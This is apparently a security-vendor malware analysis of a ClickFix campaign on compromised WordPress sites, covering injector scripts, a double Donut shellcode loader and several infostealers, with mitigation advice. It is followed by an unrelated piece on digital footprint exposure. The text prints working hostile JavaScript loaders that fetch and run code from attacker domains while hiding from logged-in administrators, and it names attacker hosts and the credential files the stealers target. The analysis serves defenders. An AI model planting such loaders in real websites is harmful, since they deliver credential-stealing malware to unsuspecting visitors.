At that point, none of the referring websites seemed to be infected (or actively being used by the attacker) anymore, either. However, using public data from urlscan.io and the search query: date:>now-30d AND domain:(gorscts[.]shop OR greecpt[.]shop OR captiort[.]shop OR captioz[.]shop OR namzcp[.]org OR beta-charts[.]org OR captoolsz[.]com OR capztoolz[.]com OR surveygifts[.]org OR captolls[.]com OR captiorweb[.]com OR captioto[.]com OR cptoptious[.]com), we were able to find past scans of compromised websites contacting one of the known ClickFix domains and inspect the HTTP responses.
We determined that compromised websites included many potentially high-trust websites, as noted above. One striking thing all of these websites had in common was the use of the WordPress content management system (CMS), and in particular, nearly all of the websites publicly exposed an admin login panel. We checked a selection of these websites for known-vulnerable plugins or versions of WordPress itself, but no obvious common pattern was identified.
One such scan we found was of an Australian online pharmacy website (hxxps[://]medsnsw[.]com/product/buy-xanax-alprazolam-australia/, urlscan.io scan). The recorded HTML response included the following script:
if(!window.__performance_optimizer_v6){
window.__performance_optimizer_v6=true;
if(!/wordpress_logged_in_/.test(document.cookie)){
var perfEndpoints=["aHR0cHM6Ly9nb3ZlYW5ycy5vcmcvanNyZXBvP3JuZD0=","aHR0cHM6Ly9nZXRhbGliLm9yZy9qc3JlcG8\/cm5kPQ==","aHR0cHM6Ly9nb3ZlYXJhbGkub3JnL2pzcmVwbz9ybmQ9","aHR0cHM6Ly9saWdvdmVyYS5zaG9wL2pzcmVwbz9ybmQ9","aHR0cHM6Ly9hbGlhbnplZy5zaG9wL2pzcmVwbz9ybmQ9","aHR0cHM6Ly96dGRhbGl3ZWIuc2hvcC9qc3JlcG8\/cm5kPQ=="];
function loadPerformanceScript(endpointIndex){
if(endpointIndex>=perfEndpoints.length)return;
try{
var endpointUrl=atob(perfEndpoints[endpointIndex])+Math.random();
var performanceXHR=new XMLHttpRequest();
performanceXHR.open("GET",endpointUrl,false);
performanceXHR.send();
if(performanceXHR.status==200){
var optimizerScript=document.createElement("script");
optimizerScript.text=performanceXHR.responseText;
document.head.appendChild(optimizerScript)
}else{
loadPerformanceScript(endpointIndex+1)
}
}catch(e){
loadPerformanceScript(endpointIndex+1)
}
}
loadPerformanceScript(0)
}
}
Figure 5: A malicious loader script included in the medsnsw[.]com website HTML
Masquerading as a performance optimization script, the actual purpose of the code above was to find and inject the first live script from a hardcoded set of remote locations, encoded in Base64. This would only be done when the string wordpress_logged_in_ was not found in the website’s (non-HTTP-only) cookies, hinting at an intent to hide this snippet from site administrators and editors.
Figure 6: Decoded list of JavaScript source locations ⠀
Consistent with this, the next request recorded in the scan fetched a script from goveanrs[.]org (urlscan response), which we analysed to understand how the ClickFix content was injected into the website and how we could potentially identify more compromised websites.
Continuing the hunt, we’ve also identified an alternative way of loading the ClickFix JavaScript: In these cases, the script was hosted directly on the compromised WordPress instance and was retrieved by fetching /wp-admin/admin-ajax.php?action=ajjs_run.
(function(){
if (window.__AJJS_LOADED__) return;
window.__AJJS_LOADED__ = false;
function runAJJS() {
if (window.__AJJS_LOADED__) return;
window.__AJJS_LOADED__ = true;
const cookies = document.cookie;
const userAgent = navigator.userAgent;
const referrer = document.referrer;
const currentUrl = window.location.href;
if (/wordpress_logged_in_|wp-settings-|wp-saving-|wp-postpass_/.test(cookies)) return;
if (/iframeShown=true/.test(cookies)) return;
if (/bot|crawl|slurp|spider|baidu|ahrefs|mj12bot|semrush|facebookexternalhit|facebot|ia_archiver|yandex|phantomjs|curl|wget|python|java/i.test(userAgent)) return;
if (referrer.indexOf('/wp-json') !== -1 ||
referrer.indexOf('/wp-admin') !== -1 ||
referrer.indexOf('wp-sitemap') !== -1 ||
referrer.indexOf('robots') !== -1 ||
referrer.indexOf('.xml') !== -1) return;
if (/wp-login\.php|wp-cron\.php|xmlrpc\.php|wp-admin|wp-includes|wp-content|\?feed=|\/feed|wp-json|\?wc-ajax|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.jpe?g|\.tiff|\.mp[34g]|\.wmv|\.zip|\.rar|\.exe|\.pdf|\.txt|sitemap.*\.xml|robots\.txt/i.test(currentUrl)) return;
fetch('hxxps[://]dakarailarriett[.]com/wp-admin/admin-ajax.php?action=ajjs_run')
.then(resp => resp.text())
.then(jsCode => {
try { eval(jsCode); } catch(e) { console.error('Cache optimize error', e); }
});
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', runAJJS);
} else {
runAJJS();
}
})();
Figure 7: Alternative way of loading ClickFix script observed on dakarailarriett[.]com
This variant is interesting in that it attempts to more robustly evade administrative scrutiny by explicitly checking the document referrer, the window location (URL), as well as multiple WordPress-related cookies, checking signs not only of administrative access, but also automatic crawlers or other artifacts indicating the website is being loaded by an undesirable victim. In these cases, no AJAX request to admin-ajax.php is issued.
Lastly, we have seen several cases where the ClickFix injector script was directly pasted into the website source.
ClickFix loader JavaScript analysis
The obfuscated JavaScript returned by the AJAX endpoint or the dedicated host server aims to make analysis difficult by outlining and encrypting strings and constants, utilizing niche JavaScript mechanics, synthesizing opaque predicates and dead code, and employing clever tricks to detect and thwart analysis.
After an initial auto-deobfuscation pass using the tool available at https://obf-io.deobfuscate.io/, the high-level control flow of the script can be identified rather easily. It’s apparent that the file was transformed using a commonly used obfuscator, which creates a global encrypted string array that is first rotated and shuffled and then accessed from across the script to access and decode strings just in time. During the initial transformation, a sneaky anti-analysis check is performed that enters an infinite loop in case the script is not running in its original form. In our sample (see the IoCs section), _0x4927 is the function that returns this global string array and _0x288c is the function decoding the strings and containing the anti-analysis check.
Figure 8: Code listing illustrating the global string array idiom
The anti-analysis check makes use of a clever assumption: While the script is deployed obfuscated and minified, analysts will presumably first transform it into a more readable representation before evaluating chunks of it. The anti-analysis check consists of testing the string representation of a previously defined dummy function against a regex. In JavaScript, the string representation of a non-native function (i.e. the string returned by the toString method called on the function object) is the verbatim definition of the function, including any whitespace, comments, etc. In this case, the code specifically checks if the function was defined with any whitespace after the opening curly brace — in effect, function(){return ‘newState’;} will pass the check, but function() { return ‘newState’; } will not.
function _0x288c(index, _4_chars) {
/* ... (Actual decoding logic, not important.) */
// The KLCBjr attribute of _0x288c is set when the anti-analysis
// check has been passed -> the 'if' body is executed only the first time.
if (_0x288c.KLCBjr === undefined) {
const AntiDebug = function (ref_to_0x288c_function) {
this.ref_to_0x288c_function = ref_to_0x288c_function;
this.yyIdzW = [1, 0, 0];
this.regexTestedFunction = function () {
return 'newState';
};
};
AntiDebug.prototype.testFunctionRepr = function () {
const regex = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
const test_result = regex.test(this.regexTestedFunction.toString()) ? --this.yyIdzW[1] : --this.yyIdzW[0];
return this.enterInfiniteLoopIfFalse(test_result);
};
AntiDebug.prototype.enterInfiniteLoopIfFalse = function (zero_or_one) {
if (!Boolean(~zero_or_one)) {
return zero_or_one;
}
return this.infiniteLoop(this.ref_to_0x288c_function);
};
// This function infinitely appends elements to this.yyIdzW.
AntiDebug.prototype.infiniteLoop = function (ref_to_0x288c_function) {
let i = 0;
for (let length = this.yyIdzW.length; i < length; i++) {
this.yyIdzW.push(Math.round(Math.random()));
length = this.yyIdzW.length;
}
return ref_to_0x288c_function(this.yyIdzW[0]);
};
// Anti-analysis check is invoked -> loops infinitely if the check fails.
new AntiDebug(_0x288c).testFunctionRepr();
// Attribute of function is written to skip the check from now on.
_0x288c.KLCBjr = true;
}
/* ... */
}
Figure 9: Annotated string decoding function containing an anti-analysis check
Luckily, this check can be bypassed even without de-obfuscating the function, simply by setting the “check passed” flag (_0x288c.KLCBjr = true) immediately after the function is defined.
Apart from the initial check, there is also a periodical trap to debugger triggered every 4 seconds to thwart DevTools-based debugging, and the last anti-debugging measure the obfuscator includes is a replacement of all console logging methods with no-op functions, so that trying to debug-print expressions will do nothing (despite the string representation of the methods looking normal).
Stripping all this anti-analysis code away, we’re left with the actual logic. All of the remaining obfuscation relies on decrypting strings using the _0x288c function from before, and outlining constants and functions into an (immutable) dictionary object.
// Example of an immutable dictionary with outlined constants and functions.
const _0x1f62bb = {
'SEDWD': _0x288c(494, 'jRBP'),
'xPXNi': _0x288c(997, 'VJ)K'),
'fxaUb': _0x288c(1722, 'AFao'),
'NMdCB': _0x288c(1026, 'c[l*'),
'MwFFz': _0x288c(1055, '0YkN') + _0x288c(657, '8k1N') + _0x288c(1037, 'DoFz') + ')',
/* ... */
'LtnFV': function (_0x4711dd, _0x395488, _0x450231) {
return _0x4711dd(_0x395488, _0x450231);
},
/* ... */
'RqVmA': function (_0x34f24d, _0xf681c2) {
return _0x34f24d !== _0xf681c2;
},
'jkPPL': _0x288c(1004, '9Ea9')
};
// Example of an opaque predicate using the outlined code.
// The predicate is unconditionally false, so the true branch of the 'if' is never executed.
// The unreachable branch references undeclared variables, possibly to break analysis tools.
if (_0x1f62bb[_0x288c(606, '@0X6')](_0x1f62bb[_0x288c(1088, '9Ea9')], _0x1f62bb[_0x288c(686, 'AFao')])) {
if (_0x4eb07e) {
const _0x1ecc29 = _0x158fa0[_0x288c(1689, 'udfh')](_0x585a9a, arguments);
_0x45d6ea = null;
return _0x1ecc29;
}
}
Figure 10: Code listing illustrating some of the JavaScript code obfuscations
When these obfuscations are removed (inlined and evaluated), the script logic turns out to be rather simple. A target URL for the ClickFix iframe is defined and the browser local storage (specific to the host website) is queried for the key iframeShown. This key is set once the malicious iframe has been displayed 3 times, after which it is not displayed anymore. Once the DOM of the host website is fully loaded, the iframe is constructed, its source is set to the target url with a query parameter ref set to the hostname of the infected website, and it is appended to the document body (positioned on top of everything else).
A deobfuscated snippet of the raw ClickFix injector script logic can be found on Rapid7 Labs’ public GitHub.
Note that the threat actor clearly intended only to show the iframe once every 30 days at most by setting and checking a cookie for the host website, as well as to dismiss the iframe after 5 seconds of clicking the button inside the iframe. But as became apparent when analyzing the JavaScript running in the ClickFix iframe, they in fact never post the “buttonClicked” message to the host website.
This makes the compromise much more obvious, since the website has to be loaded a total of 4 times before it becomes usable again, instead of dismissing the ClickFix automatically with 5 seconds of a click and only displaying it once every 30 days. This, in our opinion, explains why so many of the compromised websites might have been sanitized so quickly. The question remains whether they truly have been sanitized, and whether the root cause of the compromise — which remains unconfirmed — was also properly addressed.
In any case, using information obtained from these de-obfuscated snippets, we have been able to hunt for and find many more compromised websites, JavaScript hosting domains and fake CAPTCHA implant hosting domains, which are all included in the IoCs section.
ClickFix payload JavaScript analysis
The JavaScript embedded in the captcha.html files loaded by the injected iframes is obfuscated in the exact same way described before, only this time it is split into one script in the <head> element and one script in the document <body>. The de-obfuscated snippets, available in our public GitHub repository, probably need little explanation — the former simply sets up the click event handler to copy the malicious command to the clipboard, and the latter populates the HTML with a chosen translation of the ClickFix instructions, which is chosen based on the declared locale of the host website.
The CAPTCHA instructions are available in (at least) 31 languages: English, French, German, Spanish, Italian, Portuguese, Dutch, Russian, Ukrainian, Polish, Turkish, Romanian, Hungarian, Czech, Swedish, Finnish, Danish, Norwegian, Greek, Bulgarian, Serbian, Croatian, Hebrew, Arabic, Indonesian, Malay, Thai, Vietnamese, Estonian, Latvian, and Lithuanian.
Double Donut: Two-stage shellcode loader analysis
Besides the identical ClickFix injector scripts and the shared infrastructure hosting them, another characteristic tying all these compromises together into a single campaign is the singular IP address hosting the final malware payloads (94.154.35[.]115, moved to 172.94.9[.]187 at the beginning of March). While the initial PowerShell stager C2s vary (see IoCs), eventually they always lead to the same shellcode loader hosted at this server. It should be noted that nearly all of the hosts observed in the attack belong to Autonomous System (AS) number 202412.
As it turns out, the position independent loader used by the threat actor is the open-source Donut loader (GitHub), which has been commonly seen already in past ClickFix campaigns. Luckily, the open-source Donut loader is met with an open-source Donut decryptor (GitHub), which we can use to automatically decrypt and extract the payload and metadata.
A defining feature of this campaign is that the Donut loader is used twice in sequence. The first Donut shellcode (cptch.bin) loads only a small executable that tries to acquire SeDebugPrivilege and then downloads the second Donut shellcode (cptchbuild.bin) from the same remote server, which it then injects into a service host process (svchost.exe) matching the native architecture (non-WOW64 process on x64, no effect on x86). We will call this downloader binary the “DoubleDonut Loader” for brevity. The second shellcode in turn contains the final infostealer payload executable. For convenience, we are referring to this whole component of the attack (1st shellcode -> downloader -> 2nd shellcode) as “DoubleDonut”.
Figure 11: The simplistic design of the DoubleDonut Loader
⠀
The downloaded shellcode is injected and executed using a standard sequence of OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD), VirtualAllocEx, WriteProcessMemory and CreateRemoteThread.
Updates to Vidar Stealer v2
As mentioned previously, one of the payloads we saw DoubleDonut deliver in late January was the notorious Vidar stealer. One evolution of this infostealer malware that we have not seen publicly documented before is a shift towards encrypted C2 configurations and string obfuscation. The sample we’ve analysed (see the IoCs section for a hash) also employs a different control flow graph obfuscation than the previously reported CFG flattening technique.
Apart from each string in Vidar samples being XORed with a random single-byte constant (unique per string; usage of 0x00 results in the string being unchanged), a custom encryption algorithm is now used specifically to hide C2 configurations. The C2 configuration is an array of up to 7 records, where every record contains 3 strings: the C2 URL itself, an identifier/anchor used for parsing dead drop resolver responses, and an optional User-Agent string.
Figure 12: A high-level representation of the C2 configuration layout in latest Vidar samples
Based on whether the C2 URL contains the string .me/ or amcommunity.com, the URL is either fetched and resolved to the true C2, or used as a C2 directly. The C2 resolution is done by finding the anchor string in the HTML response and extracting the URL following it, delimited by a vertical pipe symbol (|). This technique, used notoriously by both Vidar and Lumma stealers, allows the attackers to rotate C2 addresses without invalidating the malware samples already released into the wild.
Figure 13: A Steam profile being used as a dead drop resolver by Vidar with anchor “ho0r1”
⠀
Unlike other infostealers, which use standard symmetric cipher algorithms to decrypt their configurations (e.g. ChaCha20 used by Lumma or RC4 by StealC), Vidar invents its own Vigenère-like decryption routine, which can be replicated in Python like this:
def vidar_c2_config_string_decode(
ciphertext: str,
key: str,
alphabet: str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&()*+,-./:;<=>?@[]^_`{|}~ "
) -> str:
key_len = len(key)
alpha_len = len(alphabet)
assert key_len != 0 and alpha_len != 0 and key_len == alpha_len, "Invalid key or alphabet length"
max_len = min(len(ciphertext), 512)
out = []
for i in range(max_len):
ch = ciphertext[i]
key_offset = max(0, key.find(ch))
decoded_ch = alphabet[(key_offset - i) % key_len]
out.append(decoded_ch)
return "".join(out)
Figure 14: A reimplementation of Vidar C2 decryption routine in Python
To help researchers and defenders analyze and track this threat, we are publishing a C2 configuration extractor script that can be run on any Vidar payload that uses this decryption procedure.
Apart from the encrypted C2 configuration, another upgrade Vidar introduced is a new mechanism for control-flow obfuscation. Previously, Vidar payloads implemented a simple CFG flattening algorithm, which, albeit effective, is quite common and easy to reverse. The new samples use a related, but different technique, which consists of a combination of:
Opaque predicates referencing global variables,
Infinite loops in dead branches,
alloca constructs (call; sub rsp, rax) with obfuscated constant arguments (to break decompilers), and
Jumps from dead branches to previous code blocks, which results in decompilers interpreting these as while(1)-style loops and duplicating a lot of the code in the output.⠀
Figure 15: Excerpt from Hex-Rays IDA decompiler output for “main” stealer subroutine
Impure Stealer (.NET)
Another payload we’ve seen DoubleDonut deliver is an unknown, or rather so far unnamed, .NET infostealer. Upon a first glance at its network communications, one may infer similarities with the PureLogs stealer family — namely the use of a custom Type-Length-Value (TLV) data encoding, which constitutes a sort of a custom network protocol on top of TCP — and some vendors actually classify the sample as such. However, a closer examination reveals that this is an otherwise unrelated stealer, using different obfuscator tools, different mechanism for config decryption, and AES-256-CBC with a server-provided key for encryption of C2 communication, whereas PureLogs uses 3DES with a hard-coded key. For these reasons, we’ve decided to call this malware Impure Stealer.
Figure 16: Stealer entry point method disassembled using dnSpy
⠀
Besides the specific naming convention used for type and variable names and the code-flattening and opaque predicate obfuscations, the stealer can be identified by a repeating string decoding/decryption pattern, which is illustrated already by the first statement in the entry point method. There, column0051.offset6910 is called with a hexadecimal string and a signed 32-bit integer as arguments — this is in fact the string decryption routine.
Besides the integer key, the decryption routine depends on one more input, specific per sample, which is a permutation of the 16 hexadecimal digit characters. This alphabet is stored as a static constant (column0051.source97 in our particular sample) and can be found referenced from offset6910 indirectly via the column0051.temp67 method.
The decryption algorithm itself can be rewritten as follows:⠀
def impure_stealer_string_decode(
hex_ciphertext: str,
key: int,
alphabet: str
) -> str:
if len(alphabet) != 16 or len(set(alphabet)) != 16:
raise ValueError("The alphabet must be 16 unique characters.")
if (len(hex_ciphertext) & 3) != 0:
raise ValueError("Input length must be a multiple of 4 characters.")
lut = {ch: i for i, ch in enumerate(alphabet)}
out = []
for i in range(len(hex_ciphertext) // 4):
try:
n0 = lut[hex_ciphertext[i * 4 + 0]]
n1 = lut[hex_ciphertext[i * 4 + 1]]
n2 = lut[hex_ciphertext[i * 4 + 2]]
n3 = lut[hex_ciphertext[i * 4 + 3]]
except KeyError as e:
raise ValueError(f"Character {e.args[0]!r} not in alphabet") from None
v = n0 | (n1 << 4) | (n2 << 8) | (n3 << 12)
ch = (v ^ key ^ (i * 7)) & 0xFFFF
out.append(chr(ch))
return "".join(out)
As with Vidar, we share a public script to extract decrypted strings and any C2 configuration contained therein from the stealer samples.
VodkaStealer
The latest payload observed at the end of the DoubleDonut chain is a new custom C++ stealer, which has been named VodkaStealer and first analyzed by researcher xto9ot. This stealer can confidently be attributed to the developer of the DoubleDonut loader due to many overlapping characteristics of both binaries, such as the exact same mechanism for downloading and injecting additional payloads into other service host processes, as well as reuse of DoubleDonut C2 infrastructure.
Compared to the previous payloads, including Vidar and Impure Stealer, as well as StealC, Rhadamanthys, and AuraStealer — which have been observed delivered in the same campaign by researchers at LevelBlue and Intrinsec — the new stealer lacks significantly in anti-analysis and stealth capabilities, missing out on any kind of binary obfuscation, and staging temporary files to disk, in plaintext and with fully descriptive filenames, before exfiltration. Furthermore, in order to bypass Chrome v20 App-Bound Encryption, the stealer tries to download and run a separate helper binary, the open-source “ChromElevator” tool (source code is found on GitHub), hosted on the same C2 server as the loader shellcode.
This begs the question why an attacker with access to the latest cutting-edge infostealers would fall back to a custom stealer written potentially from scratch. One speculative explanation is of an economical nature — commercial infostealers are expensive, while small software PoC development, including malware development, is becoming widely available thanks to pre-trained transformer LLMs, with open-source “red team” tools like ChromElevator available to aid with the more technically challenging aspects. However, this is all pure speculation, and Rapid7 Labs will keep tracking the campaign to collect more intelligence and draw more definitive conclusions.
As is the case with practically all commodity infostealers, the sample starts by checking if any of the enabled keyboard layouts match the Russian language, and if the public IP of the infected machine suggests location within Russia or Belarus. In these cases, the malware terminates.
Figure 17: Code listing from the WinMain function illustrates geographical checks.
⠀
Next, the stealer checks if either the file %Temp%\sysinfo_user_marker.marker or the mutex Global\sysinfo_single_instance exists, and if so, terminates execution. An anti-debug check is performed by calling IsDebuggerPresent, CheckRemoteDebuggerPresent, a combination of Sleep and GetTickCount, as well as querying the registry for presence of the following keys:
Lastly, a process snapshot is taken and scanned for the following blacklisted process names: vmtoolsd.exe, vmwareuser.exe, vmwaretray.exe, vmware-vmx.exe, vboxservice.exe, vboxtray.exe, vboxdisp.exe, vboxguest.exe, vgauthservice.exe, vmwareauthd.exe, sbiesvc.exe, sbiecnt.exe, sandboxiedcomlaunch.exe, qemu-ga.exe, xenservice.exe, vmsrvc.exe, vmusrvc.exe.
Following a successful anti-debug scan, the malware queries up to 8 different browser data locations in %AppData% and %LocalAppData%, targeting Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Vivaldi, Yandex, and Chromium browsers, and kills all processes matching any of these browsers’ executable names.
Then, various pieces of system information are collected and a directory is created according to this format:
The stealer then performs the main data collection:
A list of installed software packages, obtained from standard Uninstall registry keys, is written into a file InstalledSoftware.txt in the staging directory,
Files from wallet- and extension-specific directories in all browser data directories are collected (using a hardcoded list of targeted wallet and extension IDs),
A screenshot is taken and saved, using the GetDC, BitBlt and GdipSaveImageToFile APIs from gdiplus.dll,
If any encryption-enabled browser (e.g. Chrome) is installed:
chromelevator.bin is downloaded from the loader C2 as described before and injected into another hijacked native svchost.exe process using the same mechanism seen in the DoubleDonut loader,
Once the remote thread finishes execution, files from %Temp%\chromelevator_output are moved to the staging directory;
If any non-encryption-enabled browser (e.g. Firefox) is installed:
Its logins.json, cookies.sqlite, key4.db and cert9.db files are staged;
AppData files from the following natively installed applications are collected:
System information is collected into a file named systeminfo.txt inside the staging directory.
One thing both the threat actor and previous analyses missed is that the injection of ChromElevator into the target service host process is currently broken and will silently fail. Because we feel no need to help the actor fix their mistake, we will not describe why this is the case. However, it may be that the threat actor has already noticed the missing functionality around February 22, when the ClickFix injection scripts described before suddenly seem to have been temporarily disabled — the infected websites still load the injector script from either the 3rd-party JavaScript host server or their own admin-ajax.php, but the response is empty.
Because VodkaStealer does not perform any string encryption in its payloads, the C2 IP address can be extracted directly from the unpacked sample. Besides C2 information, we’re unaware of any additional configuration shipped with the stealer, but this may be simply because the malware is still in early stages of development.
Mitigation guidance
It remains unclear by what means the attackers are compromising the targeted WordPress websites. The most likely scenarios include either a WordPress plugin or theme vulnerability being exploited, previously stolen credentials being misused, or potentially even publicly accessible wp-admin interfaces — which have been observed on most of the compromised websites — being accessed through a brute-force password spraying attack. Keeping these scenarios in mind, we urge WordPress site administrators to:
Regularly review all software components for outdated versions and perform vulnerability scans to identify and mitigate weaknesses,
Use long and unpredictable passwords for administrative access, possibly using a password manager for audited security and convenience,
Set up a second authentication factor for administrative access,
Avoid running untrusted code on devices that store credentials (e.g. saved logins in a browser) usable to administer the website.
The best defense for individuals browsing the web is to stay cautious, maintain a zero-trust mindset, use reputable security software, and keep themselves up to date with the latest phishing and ClickFix tactics used by malicious actors. An important takeaway from this report should be that even trusted websites can be compromised and weaponised against unsuspecting visitors.
An additional precaution that can be effective on Windows systems is disabling the Run dialog shortcut (Windows Key+R); however, this will not prevent malicious commands from being pasted into a terminal or a Windows Explorer location bar (cf. FileFix attack).
To help defenders mitigate this threat in their organization, we provide an extensive list of IoCs and a set of detection rules further below.
Conclusion
Social engineering remains one of the most effective initial access tactics used by threat actors. The ClickFix campaign described in this blog illustrates just how easily unsuspecting users can be tricked into having their credentials stolen and exfiltrated to an attacker during perfectly ordinary web browsing. Without the victim even noticing that a compromise took place, their credentials can subsequently be misused for impersonation, further access to company resources, financial theft, or even to spread the social engineering lures to an even wider audience.
The large-scale execution of the compromise across completely unrelated WordPress instances suggests a high level of automation by the threat actor and is likely part of an organized long-term criminal effort. Despite this, the technical and operational sophistication of the campaign is limited and we provide a comprehensive technical breakdown of the infection chain, as well as a set of detection rules to defend against this threat in depth.
For years, organizations have prioritized strengthening technical defenses, including hardening networks, accelerating patch management, and expanding endpoint detection and response capabilities. Defensive systems have become more adaptive, identity has moved to the center of security architectures, and zero-trust has emerged as a foundational design principle.
Despite these advances, successful intrusions continue to occur in environments that appear technically mature. While traditional attack vectors like vulnerability exploitation, misconfigurations, and malware-based intrusions show no sign of decline, modern attacks are increasingly preceded or materially enabled by extensive reconnaissance conducted beyond the victim’s technical perimeter.
Organizations and their employees expose substantial volumes of data online, both intentionally and unintentionally. This includes professional and personal information shared through corporate websites, SaaS platforms, social media, developer repositories, marketing materials, and third-party services, as well as data exposed through breaches, misconfigured cloud assets, and shadow IT.
As seen in the following screenshots, vast amounts of historical information, credential leaks, personally identifiable information (PII) persist in exposed databases, as well as on dark web marketplaces and cybercrime forums.
⠀
Figure 1: A dark web marketplace offering US SSNs for sale.
⠀
Figure 2: A compromised database search engine exposes leaked credentials.
⠀
Figure 3: Multiple citizenship databases exposed on a cybercriminal forum
⠀
Threat actors increasingly leverage this layered digital footprint as a core component of their operational planning. While such exposure may not always constitute the initial access vector itself, it significantly influences attacker decision-making, targeting precision, and the likelihood of success.
Breach data and open-source intelligence are utilized to map organizational structures, identify privileged or high-value identities, correlate reused credentials, infer security controls, and tailor phishing or social engineering campaigns with high contextual credibility. In many cases, this intelligence determines which vulnerability, account, or trust relationship is exploited, rather than whether exploitable weaknesses exist. As a result, the boundary between “technical” and “human” attack vectors continues to erode. Infrastructure security remains necessary, but it is no longer sufficient in isolation. The effective attack surface now extends beyond networks and endpoints to encompass identity exposure, employee digital behavior, third-party data ecosystems, and long-lived data traces that persist outside traditional security tooling and governance models.
What is digital footprint exposure?
A digital footprint refers to all the information about an organization and/or an individual that is publicly, semi-publicly, or commercially available online. This information is often scattered across numerous platforms, but aggregating it enables the creation of detailed, actionable profiles of individuals and institutions.
Typical elements of a digital footprint include:
Corporate and personal email addresses
Passwords and authentication data leaked through breaches
Public social media profiles and historical activity
Personally Identifiable Information (e.g., name, SSN, phone number, email address).
Employment history, job titles, role descriptions, and annual reports
Online behavior, interests, affiliations, and routines
Metadata collected and sold by third-party data brokers
The acquisition of this data does not require hacking, system intrusion, or the deployment of malware. Instead, attackers collect, correlate, and exploit information that exists beyond the organization’s security perimeter, making it inherently unreachable by conventional security controls such as firewalls, EDR, or internal monitoring systems. Because these digital assets reside outside direct organizational ownership and technical control, they cannot be effectively protected by traditional defensive mechanisms. In this context, threat intelligence monitoring plays a critical role by providing visibility into external data exposure, tracking adversarial collection and misuse of such information, and enabling organizations to detect, assess, and respond to risks that would otherwise remain invisible to perimeter-based security architectures.
Digital footprint exposure: A growing security threat
The modern threat landscape no longer rewards attackers who are simply skilled at exploiting systems; it rewards those who are best at understanding people, relationships, and behavior. Publicly accessible data, semi-private platforms, and commercially available datasets collectively form a digital footprint that can be mapped, enriched, and weaponized well before any technical intrusion attempt. This exposure shifts the initial battleground away from firewalls and endpoints toward employees’ online presence and the organization’s external data shadow.
Organizations that continue to define their perimeter in terms of IP ranges, devices, or cloud assets are defending yesterday’s battlefield. In many cases, the first stage of compromise occurs months before an alert is raised, within public forums, social networks, breached datasets, and data broker platforms, entirely outside traditional security monitoring and response processes. Adversaries use this information to identify key personnel, ascertain internal structures, map trusted relationships, and assess security maturity without ever touching corporate infrastructure.
Attackers collect specific external data to identify valid users, authentication systems, and internal dependencies. They extract employee names, roles, and corporate email formats from LinkedIn, conference materials, and public breach datasets. They identify authentication portals, VPN gateways, and cloud services using passive DNS records, Certificate Transparency logs, and internet scanning platforms such as Shodan or Censys. Public GitHub repositories and technical documentation may reveal internal domain names, API endpoints, identity providers, and technology stacks.
These elements allow attackers to identify valid corporate accounts, target employees with privileged access, register impersonation domains that match internal naming conventions, and send phishing emails that reference real vendors, systems, or workflows. This preparation increases the likelihood of credential theft and unauthorized access because the attacker is targeting real users and real systems rather than relying on generic phishing or random scanning.
For employees, digital footprint exposure translates into personal risk that directly impacts corporate security. Leaked credentials, reused passwords, overshared professional information, or historical data breaches can be exploited to impersonate staff, coerce access, or establish credibility during pretexting operations. Senior leaders, IT staff, and individuals with privileged access are particularly vulnerable, as attackers can leverage publicly available information to craft convincing narratives that exploit trust and authority.
Uncontrolled exposure of employee information allows attackers to move from targeting individuals to compromising the organization. This enables them to identify employees with access to key systems, administrative privileges, or sensitive organizational platforms through public work profiles and data obtained from data breaches. They then test exposed credentials on corporate login portals, send phishing emails impersonating trusted internal or external entities, or attempt to intercept authentication codes by targeting exposed phone numbers. Once a single employee account is compromised, attackers can gain access to internal systems, escalate their privileges, and move laterally within the organization.
Threat actor exploitation of digital footprints
Threat actors, whether cybercriminal groups or state-sponsored operators, have always relied heavily on digital footprints in their operations. Publicly available information, leaked data, social media activity, and professional networks provide valuable insight into people, organizations, technologies, and trust relationships, making attacks more targeted and believable.
With the rise of AI-powered tools, this exploitation has intensified. What once required time-consuming manual research can now be automated, enriched, and scaled almost instantly. AI enables adversaries to turn fragmented online traces into compelling narratives, lures, and impersonations, significantly increasing the speed, precision, and overall impact of attack vectors driven by digital footprints.
Cybercriminals
Cybercriminals typically exploit online exposure to establish rapid, monetizable intrusion paths without requiring deep internal access. Public profiles, leaked credentials, exposed servers, misconfigured cloud resources, and operational metadata are aggregated to identify where access already exists or can be obtained with minimal resistance. The focus is on converting exposed data directly into usable access, validating it quickly, and either exploiting or reselling it.
Tactical attack vectors derived from exposed digital footprints include:
Leaked credential exploitation: Abuse of credentials harvested from data breaches, stealer logs, and infostealer marketplaces, correlated with corporate email domains to gain unauthorized access to VPNs, SSO portals, cloud consoles, SaaS platforms, and legacy authentication endpoints
Identity and account surface expansion: Leveraging open professional and social network profiles to enumerate valid usernames, email address formats, job roles, seniority levels, and likely privilege tiers, enabling targeted credential testing and account takeover attempts
Email signature and metadata harvesting: Exploitation of email signatures, contact blocks, and publicly shared correspondence to identify internal naming conventions, phone extensions, third-party services, and technology stack indicators useful for impersonation and lateral access
Document-driven reconnaissance: Mining publicly exposed or leaked company documents (policies, PDFs, presentations, contracts, org. charts, etc.) to infer internal systems, authentication workflows, directory structures, cloud providers, and security controls
Infrastructure targeting via exposure leakage: Identification and exploitation of externally exposed servers, admin panels, APIs, and management interfaces through search engines, passive DNS, certificate transparency logs, and open indexing platforms
Banner, certificate, and service fingerprinting: Abuse of SSL/TLS certificates, HTTP headers, API responses, and service banners to fingerprint software versions, cloud services, authentication mechanisms, and unpatched or end-of-life systems
Cloud asset exploitation: Targeting publicly exposed storage buckets, orphaned cloud tenants, misconfigured IAM roles, stale API keys, and secrets discovered via open repositories, leaked configuration files, or documentation artifacts
Access brokerage: Enabling the validation, packaging, and resale of footprint-derived access (credentials, VPN sessions, cloud console access, shells) within cybercriminal marketplaces, based on assessed business impact and network reach
Low-noise privilege escalation and lateral movement: Exploitation of weak segmentation, excessive trust relationships, and overexposed directory or identity services inferred from public documentation, leaked internal diagrams, or misconfigured federation endpoints
State-Sponsored Actors
State-sponsored actors treat exposed digital footprints as long-term intelligence and access-enabling infrastructure. Voluntarily shared information, institutional transparency, technical disclosures, and accidental leaks are fused to build high-fidelity models of people, systems, and dependencies. These actors exploit exposure selectively, prioritizing vectors that support persistent access, intelligence collection, and operational survivability.
